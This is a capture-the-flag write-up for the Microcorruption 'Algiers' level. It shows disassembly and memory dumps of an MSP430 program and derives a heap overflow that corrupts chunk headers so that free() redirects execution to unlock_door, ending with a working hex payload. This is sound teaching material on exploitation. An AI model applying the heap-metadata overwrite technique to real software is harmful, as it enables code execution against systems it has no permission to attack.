Microcorruption - Algiers
This level involves Use after free(UAF)/Heap exploitation
The only thing main is doing is calling the login function, which ends up saving its return address (0x4440) which we’ll use later on. This value is stored at 0x439a
4438 <main>
4438: 3150 9cff add #0xff9c, sp
443c: b012 3a46 call #0x463a <login>
4440 <__stop_progExec__>
4440: 32d0 f000 bis #0xf0, sr
4444: fd3f jmp #0x4440 <__stop_progExec__+0x0>
Live Memory Dump
0000: 0000 4400 0000 0000 0000 0000 0000 0000 ..D.............
0010: *
0150: 0000 0000 0000 0000 0000 0000 085a 0000 .............Z..
0160: *
2400: 0824 0010 0100 0000 0000 0000 0000 0000 .$..............
2410: *
4390: 0000 0000 0000 0000 0000 4044 0000 0000 ..........@D....
^
The login function looks like this:
463a <login>
463a: 0b12 push r11
463c: 0a12 push r10
463e: 3f40 1000 mov #0x10, r15
4642: b012 6444 call #0x4464 <malloc>
4646: 0a4f mov r15, r10
4648: 3f40 1000 mov #0x10, r15
464c: b012 6444 call #0x4464 <malloc>
4650: 0b4f mov r15, r11
4652: 3f40 9a45 mov #0x459a, r15
4656: b012 1a47 call #0x471a <puts>
465a: 3f40 c845 mov #0x45c8, r15
465e: b012 1a47 call #0x471a <puts>
4662: 3e40 3000 mov #0x30, r14
4666: 0f4a mov r10, r15
4668: b012 0a47 call #0x470a <getsn>
466c: 3f40 c845 mov #0x45c8, r15
4670: b012 1a47 call #0x471a <puts>
4674: 3f40 d445 mov #0x45d4, r15
4678: b012 1a47 call #0x471a <puts>
467c: 3e40 3000 mov #0x30, r14
4680: 0f4b mov r11, r15
4682: b012 0a47 call #0x470a <getsn>
4686: 0f4b mov r11, r15
4688: b012 7045 call #0x4570 <test_password_valid>
468c: 0f93 tst r15
468e: 0524 jz #0x469a <login+0x60>
4690: b012 6445 call #0x4564 <unlock_door>
4694: 3f40 0b46 mov #0x460b, r15
4698: 023c jmp #0x469e <login+0x64>
469a: 3f40 1b46 mov #0x461b, r15
469e: b012 1a47 call #0x471a <puts>
46a2: 0f4b mov r11, r15
46a4: b012 0845 call #0x4508 <free>
46a8: 0f4a mov r10, r15
46aa: b012 0845 call #0x4508 <free>
46ae: 3a41 pop r10
46b0: 3b41 pop r11
46b2: 3041 ret
We can see that it’s malloc’ing 0x10 bytes but gets’ing 0x30 bytes, so what can we do with this? The first thing we should try is to corrupt the heap structure somehow, but first we need to take a look at how it’s implemented.
The program also tells us that both the username and password must be between 8 and 16 characters each. So let’s try the following:
- username: AAAAAAAA
- password: BBBBBBBB
After entering these values we can take a look at the memory dump:
Live Memory Dump
2400: 0824 0010 0000 0000 0824 1e24 2100 4141 .$.......$.$!.AA
2410: 4141 4141 4141 0000 0000 0000 0000 0824 AAAAAA.........$
prev chunk ^
2420: 3424 2100 4242 4242 4242 4242 0000 0000 4$!.BBBBBBBB....
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
So it seems that the heap starts at 2408 and it uses a 6 byte header made of:
- 2 bytes for the address of the previous chunk
- 2 bytes for the address of next chunk
- 2 bytes for the size of the chunk
- the third field of the header where we save the size of the chunk is actually saving the value of: 2 * sizeof the chunk + the last bit set to indicate that the chunk is being used
- So in this case since we used malloc(0x10) the total size is 0x20 + 0x1 = 0x21
- Same thing happens for the second chunk, size is stored at 2422
Here we have 2 chunks, one for the username and other for password
So at 2408 we see that value 2408(stored as 0824 due to the endianness) meaning the previous chunk is 2408 itself as this is the first chunk of the heap
Then, at 240a we have the value 241e which shows us the start of the next chunk containing the password buffer made of the 42’s (B’s) that we typed earlier.
To summarize:
- We have two chunks in the heap, starting at 2408
- each chunk is made of a 6-byte header containing the address of the previous chunk, the address of the next chunk and its size
- in this case each chunk contains the 6 byte header plus 0x10 bytes for the buffer allocated with malloc(0x10)
We can already see that malloc(0x10) is actually using more bytes than just 0x10.
The second chunk (the one with the supplied password) starts at 241e right after the username buffer.
Our goal is to overflow the heap header of the second chunk starting at 0x241e with a username larger than 0x10 so that when free() kicks in it will overwrite an address with a value of our choice
So we use the username buffer of the first chunk to overflow the second chunk header so that we can have a ‘write what to where’ condition.
The free function:
508 <free>
4508: 0b12 push r11
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13
4516: 8f4d 0400 mov r13, 0x4(r15)
451a: 2e4f mov @r15, r14
451c: 1c4e 0400 mov 0x4(r14), r12
4520: 1cb3 bit #0x1, r12
4522: 0d20 jnz #0x453e <free+0x36>
4524: 3c50 0600 add #0x6, r12
4528: 0c5d add r13, r12
452a: 8e4c 0400 mov r12, 0x4(r14)
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
453c: 2f4f mov @r15, r15
453e: 1e4f 0200 mov 0x2(r15), r14
4542: 1d4e 0400 mov 0x4(r14), r13
4546: 1db3 bit #0x1, r13
4548: 0b20 jnz #0x4560 <free+0x58>
454a: 1d5f 0400 add 0x4(r15), r13
454e: 3d50 0600 add #0x6, r13
4552: 8f4d 0400 mov r13, 0x4(r15)
4556: 9f4e 0200 0200 mov 0x2(r14), 0x2(r15)
455c: 8e4f 0000 mov r15, 0x0(r14)
4560: 3b41 pop r11
4562: 3041 ret
Exploiting the heap
So let’s try using a username long enough to overflow the second chunk’s header:
- Username: A * 16 + BB + CC + DD
- Password: doesn’t really matter, I’ll just use 0x4949
This gives that following memory dump
Live Memory Dump
0000: 0000 4400 0000 0000 0000 0000 0000 0000 ..D.............
0010: 3041 0000 0000 0000 0000 0000 0000 0000 0A..............
0020: *
0150: 0000 0000 0000 0000 0000 0000 085a 0000 .............Z..
0160: *
2400: 0824 0010 0000 0000 0824 1e24 2100 4141 .$.......$.$!.AA
2410: 4141 4141 4141 4141 4141 4141 4141 4242 AAAAAAAAAAAAAABB
2420: 4343 4444 4949 0000 0000 0000 0000 0000 CCDDII..........
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
So the 6-byte header of the second chunk is overwritten with BBCCDD, stepping through the first lines of the free function, we see that a value is written to BB+4. Well, we want to overwrite main’s return address which is at 439a, so we should set BB to be 439a - 4 = 4396.
So whenever BB = 0x4396 free() will overwrite main’s return address with a particular value.
So far we have:
- Username = A*16 + 0x4396 + CC + DD
Now how do we figure out the values of CC and DD so that we can successfully change the flow of execution so that main() returns to an address of our choice?
If you look closely at free(), the value at our target address 0x439a is 4440(this is where main will return to) is being added to 6 and to DD.
So basically main’s return value is overwritten with:
0x4440 (which it its original value) + 0x6 + DD
We need this sum to be equal to the address of the unlock_door function at 4564, so we can solve for DD:
0x4440 + 0x6 + DD = 4564 DD = 0x11e
Updating our username, now we have:
- Username = A * 16 + 0x4396 + CC + 0x11e
Note:
If we just use this username as it is, it will overwrite our target value with the address of the unlock_door function. This happens at
452a: 8e4c 0400 mov r12, 0x4(r14)
where r12 contains the result of our sum, and 0x4(r14) is our BB+4, namely 439a which contains the value of the return address of main. However, you will get a load address unaligned: 4343 warning due to the following line:
4538: 8d4e 0000 mov r14, 0x0(r13)
at this point r14 = 4396 (i.e 439a - 4), and r13 = 4343 which is CC. So CC is not a valid address for this. What value can we choose? Let’s take a look at the memory dump again:
Live Memory Dump
2400: 0824 0010 0000 0000 0824 1e24 2100 4141 .$.......$.$!.AA
2410: 4141 4141 4141 4141 4141 4141 4141 9643 AAAAAAAAAAAAAA.C
2420: 4343 1e01 4949 0000 0000 0000 0000 0000 CC..II..........
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000 .....$.$........
2440: *
4380: 0000 0000 ca46 0100 ca46 0300 3e47 0000 .....F...F..>G..
4390: 0a00 2424 a846 0000 4343 6445 0000 0000 ..$$.F..CCdE....
43a0: *
4400: 3140 0044 1542 5c01 75f3 35d0 085a 3f40 1@.D.B\.u.5..Z?@
4410: 0600 0f93 0724 8245 5c01 2f83 9f4f 4847 .....$.E\./..OHG
4420: 0024 f923 3f40 0000 0f93 0624 8245 5c0
From what I tested both 4410 and 4420 are valid values for CC. Now we just put the pieces together
Solution
- Username: A * 16 + 0x4396 + 4420 + 0x11e
- Username = 41414141414141414141414141414141964320441e01 or
- Username = 41414141414141414141414141414141964310441e01